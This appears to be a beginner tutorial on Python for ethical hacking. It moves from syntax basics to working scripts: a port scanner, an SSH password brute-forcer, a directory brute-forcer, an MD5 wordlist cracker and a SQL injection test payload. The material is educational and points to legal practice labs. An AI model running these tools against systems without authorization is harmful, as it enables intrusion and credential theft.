The complete, in-depth guide to using Python for ethical hacking — from syntax basics to building real penetration testing tools. Your path from beginner to Python hacker.
Python is a high-level, interpreted programming language created by Guido van Rossum in 1991. Today it's the world's most popular programming language — and for good reason. It's readable, powerful, and comes with a massive ecosystem of libraries that make it ideal for everything from web development to machine learning.
But here's the thing: Python is also the #1 language for ethical hacking and cybersecurity. Why? Because it lets you write powerful automation, build custom tooling, and connect to networks — all with just a few lines of code. Most modern hacking tools (from sqlmap to Impacket to Volatility) are written in Python.
In this guide, you'll go from writing your first print("Hello, Hacker") to building actual penetration testing scripts — port scanners, brute-forcers, web scrapers, and more. No prior programming experience required.
python3 --version.
You might ask: "Why Python and not C, C++, or Go?" The answer comes down to speed of development, readability, and an unmatched security library ecosystem. Here's what makes Python special in the hacking world:
Write a working exploit in 10 minutes. No compiler, no boilerplate — just code and run.
Scapy, Requests, Paramiko, Impacket, Socket — everything you need is one pip install away.
Write on Linux, run on Windows, Mac, or Android. Same code, everywhere.
Python reads like English. You focus on logic, not syntax gymnastics.
Almost every modern pentest tool, exploit, and PoC is written in Python.
Build intelligent fuzzers and anomaly detectors with TensorFlow, PyTorch.
Every Python program starts with a simple idea: write instructions, run them. Let's begin with the basics.
# hello.py — your first Python script
print("Hello, Ethical Hacker!")
print("Welcome to Python for Hackers")
Run it from the terminal:
python3 hello.py
# Variables — no need to declare types
target = "192.168.1.100"
port = 22
is_open = True
version = 3.11
# f-strings (formatted strings) — the modern way
print(f"Target: {target} on port {port}")
print(f"Status open? {is_open}")
# Multiple assignment
host, user, passwd = "10.0.0.1", "admin", "secret"
| Operator | Meaning | Example |
|---|---|---|
+ | Addition | 5 + 3 = 8 |
- | Subtraction | 5 - 3 = 2 |
* | Multiplication | 5 * 3 = 15 |
/ | Division (float) | 5 / 3 = 1.67 |
// | Integer division | 5 // 3 = 1 |
% | Modulus (remainder) | 5 % 3 = 2 |
** | Exponent | 2 ** 8 = 256 |
== | Equal to | 5 == 5 → True |
!= | Not equal | 5 != 3 → True |
and, or, not | Logical operators | True and False → False |
Python has powerful built-in data structures that make it perfect for handling everything from wordlists to network packets.
url = "https://target.com/admin"
# Common string operations
print(url.upper()) # HTTPS://TARGET.COM/ADMIN
print(url.split("/")) # ['https:', '', 'target.com', 'admin']
print(url.replace("admin", "login"))
print("admin" in url) # True
print(url[8:18]) # Slice: 'target.com'
ports = [21, 22, 80, 443, 3306]
ports.append(8080) # Add to end
ports.remove(21) # Remove specific
ports.sort() # Sort in place
print(ports[0]) # First element
print(ports[-1]) # Last element
print(len(ports)) # Length
print(ports[1:3]) # Slice [22, 80]
# List comprehension — Pythonic power
open_ports = [p for p in ports if p < 1000]
print(open_ports) # [22, 80, 443]
target = {
"ip": "192.168.1.1",
"ports": [22, 80, 443],
"os": "Linux",
"vulnerable": True
}
print(target["ip"]) # 192.168.1.1
target["country"] = "IN" # Add new key
for key, value in target.items():
print(f"{key}: {value}")
# Tuple — immutable list (cannot be changed)
credentials = ("admin", "password123")
# Set — unique elements, no duplicates
unique_ips = {"10.0.0.1", "10.0.0.2", "10.0.0.1"}
print(unique_ips) # {'10.0.0.1', '10.0.0.2'}
port = 443
if port == 22:
print("SSH detected")
elif port == 80:
print("HTTP detected")
elif port == 443:
print("HTTPS detected — encrypted")
else:
print(f"Unknown service on port {port}")
# Loop through a list
for port in [22, 80, 443]:
print(f"Scanning port {port}")
# Loop with index
for i, port in enumerate([22, 80, 443]):
print(f"{i+1}. Port {port}")
# Loop through range
for i in range(1, 255):
print(f"192.168.1.{i}")
# Loop through a dictionary
target = {"ip": "10.0.0.1", "port": 22}
for key, value in target.items():
print(f"{key} = {value}")
attempts = 0
while attempts < 5:
print(f"Attempt {attempts+1}")
attempts += 1
# Loop with break and continue
for port in range(1, 1025):
if port == 100:
break # Exit the loop
if port % 2 == 0:
continue # Skip even ports
print(port)
def scan_port(host, port):
"""Simple TCP port scanner using sockets."""
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((host, port))
sock.close()
return result == 0
# Call the function
if scan_port("192.168.1.1", 22):
print("[+] Port 22 is OPEN")
def brute_force(target, port=22, threads=10, verbose=False):
if verbose:
print(f"Attacking {target}:{port} with {threads} threads")
# ... attack logic ...
brute_force("10.0.0.1")
brute_force("10.0.0.1", port=21, verbose=True)
# Import whole module
import socket
# Import specific functions
from socket import socket, gethostbyname
# Aliased import
import socket as s
# Common modules for hackers
import os, sys, subprocess, socket, requests, re, json, base64, hashlib
Most hacking scripts deal with files: wordlists for brute-force, log files for analysis, config files, and output reports.
# Read a wordlist line by line (memory-efficient)
with open("/usr/share/wordlists/rockyou.txt", "r", errors="ignore") as f:
for line in f:
password = line.strip()
print(f"Trying: {password}")
# Write results to a file
with open("results.txt", "w") as f:
f.write("Scan complete\n")
f.write(f"Found 3 open ports\n")
# Append to a file (doesn't overwrite)
with open("log.txt", "a") as f:
f.write(f"[+] New target: {ip}\n")
# Read entire file at once
with open("config.json") as f:
data = f.read()
import json
# Parse JSON from file
with open("scan.json") as f:
data = json.load(f)
print(data["hosts"])
# Save results as JSON
results = {"target": "192.168.1.1", "ports": [22, 80, 443]}
with open("output.json", "w") as f:
json.dump(results, f, indent=2)
The socket module is the foundation of all network hacking in Python. It lets you connect to hosts, send data, and build custom protocols.
import socket
# Create a TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
# Try to connect
try:
s.connect(("192.168.1.1", 22))
print("[+] Port 22 is open")
banner = s.recv(1024)
print(f"Banner: {banner.decode()}")
except socket.timeout:
print("[-] Connection timed out")
except ConnectionRefusedError:
print("[-] Port closed")
finally:
s.close()
import socket
# Get IP from domain name
ip = socket.gethostbyname("example.com")
print(f"example.com → {ip}")
# Reverse lookup — get domain from IP
host = socket.gethostbyaddr("8.8.8.8")
print(host) # ('dns.google', [], ['8.8.8.8'])
import socket
from concurrent.futures import ThreadPoolExecutor
def scan(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
if s.connect_ex((host, port)) == 0:
print(f"[+] Port {port} OPEN")
s.close()
target = "192.168.1.1"
with ThreadPoolExecutor(max_workers=100) as executor:
for port in range(1, 1025):
executor.submit(scan, target, port)
These libraries will supercharge your hacking scripts. Install them with pip install <name>.
Simplest way to make HTTP requests. Perfect for web scraping, API hacking, and fuzzing.
Packet crafting and manipulation. Build custom packets, sniff traffic, ARP spoofing.
SSH client library. Automate SSH commands, SFTP transfers, and brute-forcing.
Windows network protocols. SMB, MSRPC, Kerberos exploitation toolkit.
HTML/XML parser for web scraping. Extract links, forms, and data easily.
Python wrapper for Nmap. Run scans programmatically and parse results.
Modern crypto library. Encrypt, decrypt, sign, verify, hash.
Browser automation. Test web apps, scrape JavaScript-heavy sites.
CTF and exploit development framework. Buffer overflows, ROP chains.
Data analysis. Parse logs, analyze scan results, generate reports.
import socket
import sys
from datetime import datetime
def scan_port(host, port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
result = s.connect_ex((host, port))
if result == 0:
try:
s.send(b"HEAD / HTTP/1.0\r\n\r\n")
banner = s.recv(1024).decode().strip()
except:
banner = ""
print(f"[+] Port {port} OPEN {banner}")
s.close()
except:
pass
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
print(f"Scanning {target}... started at {datetime.now()}")
for port in range(1, 1025):
scan_port(target, port)
print("Scan complete.")
# pip install paramiko
import paramiko
def try_ssh(host, user, password):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(host, username=user, password=password, timeout=3)
return True
except paramiko.AuthenticationException:
return False
except Exception:
return False
finally:
client.close()
host = "192.168.1.1"
user = "admin"
with open("passwords.txt") as f:
for pw in f:
pw = pw.strip()
if try_ssh(host, user, pw):
print(f"[+] FOUND: {user}:{pw}")
break
else:
print(f"[-] Failed: {pw}")
import requests
url = "http://target.com"
wordlist = "/usr/share/wordlists/dirb/common.txt"
with open(wordlist) as f:
for line in f:
path = line.strip()
if not path:
continue
full = f"{url}/{path}"
try:
r = requests.get(full, timeout=3, allow_redirects=False)
if r.status_code != 404:
print(f"[+] {r.status_code} — {full}")
except requests.RequestException:
pass
import requests
domain = "example.com"
subs = ["www", "mail", "api", "dev", "admin", "test", "ftp", "blog"]
for sub in subs:
url = f"http://{sub}.{domain}"
try:
r = requests.get(url, timeout=3)
print(f"[+] Found: {url} → {r.status_code}")
except requests.RequestException:
pass
import hashlib
target_hash = "5f4dcc3b5aa765d61d8327deb882cf99" # md5("password")
wordlist = "/usr/share/wordlists/rockyou.txt"
with open(wordlist, errors="ignore") as f:
for word in f:
word = word.strip()
h = hashlib.md5(word.encode()).hexdigest()
if h == target_hash:
print(f"[+] CRACKED: {word}")
break
The requests library makes HTTP hacking incredibly easy. Here's how to interact with web apps programmatically.
import requests
# Basic GET request
r = requests.get("https://target.com")
print(r.status_code)
print(r.headers)
# Custom headers (User-Agent spoofing)
headers = {"User-Agent": "Mozilla/5.0 (Hacker)"}
r = requests.get("https://target.com", headers=headers)
# POST request (login form)
data = {"username": "admin", "password": "test"}
r = requests.post("https://target.com/login", data=data)
# Using a session (keeps cookies)
s = requests.Session()
s.post("https://target.com/login", data=data)
r = s.get("https://target.com/dashboard")
# SQL injection test
payload = "' OR '1'='1"
r = requests.get(f"https://target.com/page.php?id={payload}")
# Ignore SSL errors (for self-signed certs)
r = requests.get("https://target.com", verify=False)
# Use a proxy (Burp Suite)
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.get("https://target.com", proxies=proxies, verify=False)
# pip install beautifulsoup4
import requests
from bs4 import BeautifulSoup
r = requests.get("https://target.com")
soup = BeautifulSoup(r.text, "html.parser")
# Extract all links
for link in soup.find_all("a"):
href = link.get("href")
if href:
print(href)
# Find all forms (potential login pages)
for form in soup.find_all("form"):
print(form.get("action"))
# Extract all emails
import re
emails = re.findall(r"[\w\.-]+@[\w\.-]+\.\w+", r.text)
print(set(emails))
Python's hashlib and cryptography libraries give you powerful crypto tools — for cracking, encoding, and building secure systems.
import hashlib
data = "password123".encode()
print(hashlib.md5(data).hexdigest())
print(hashlib.sha1(data).hexdigest())
print(hashlib.sha256(data).hexdigest())
print(hashlib.sha512(data).hexdigest())
import base64
# Encode
encoded = base64.b64encode(b"admin:password")
print(encoded) # b'YWRtaW46cGFzc3dvcmQ='
# Decode
decoded = base64.b64decode(encoded)
print(decoded) # b'admin:password'
# URL-safe Base64
base64.urlsafe_b64encode(b"data")
def xor_encrypt(data, key):
return bytes([b ^ key for b in data])
plaintext = b"Secret message"
key = 42
encrypted = xor_encrypt(plaintext, key)
print(encrypted)
# XOR is symmetric — same operation decrypts
decrypted = xor_encrypt(encrypted, key)
print(decrypted.decode())
Scrape WHOIS, enumerate subdomains, gather OSINT from APIs.
Build port scanners, vulnerability scanners, and fuzzers from scratch.
Craft buffer overflows, ROP chains, shellcode with pwntools.
Custom hash crackers, wordlist generators, and brute-forcers.
Automate SQL injection, XSS, SSRF, and directory brute-forcing.
ARP spoofing, DNS poisoning, packet sniffing with Scapy.
Parse PE headers, extract strings, automate sandbox analysis.
Format scan results into PDF/HTML reports automatically.
python3 -m venv venv isolates dependencies.settimeout().ThreadPoolExecutor for parallel scans.# Create virtual environment
python3 -m venv hacker_env
# Activate it
source hacker_env/bin/activate
# Install packages
pip install requests scapy paramiko
# Deactivate when done
deactivate
import argparse
parser = argparse.ArgumentParser(description="Port Scanner")
parser.add_argument("target", help="Target IP address")
parser.add_argument("-p", "--ports", default="1-1024", help="Port range")
parser.add_argument("-v", "--verbose", action="store_true")
args = parser.parse_args()
print(f"Target: {args.target}, Ports: {args.ports}")
Beginner-friendly, guided labs for learning ethical hacking.
Realistic vulnerable machines. Excellent for intermediate learners.
Downloadable vulnerable VMs. Run them locally in VirtualBox.
Modern vulnerable web app. Practice web exploitation legally.
Damn Vulnerable Web App. Classic for learning web attacks.
Spin up your own VMs on AWS, Azure, or GCP.
Python is the single most valuable programming language for ethical hackers. Its combination of simplicity, power, and a massive security library ecosystem makes it the language of choice for everyone from beginners to elite red teamers.
The journey from beginner to expert follows a clear path:
Remember: the terminal is your weapon, and Python is your language. Master it, and you'll be able to build custom tooling that rivals commercial products — all with clean, readable code.
Happy hacking — ethically. 🐍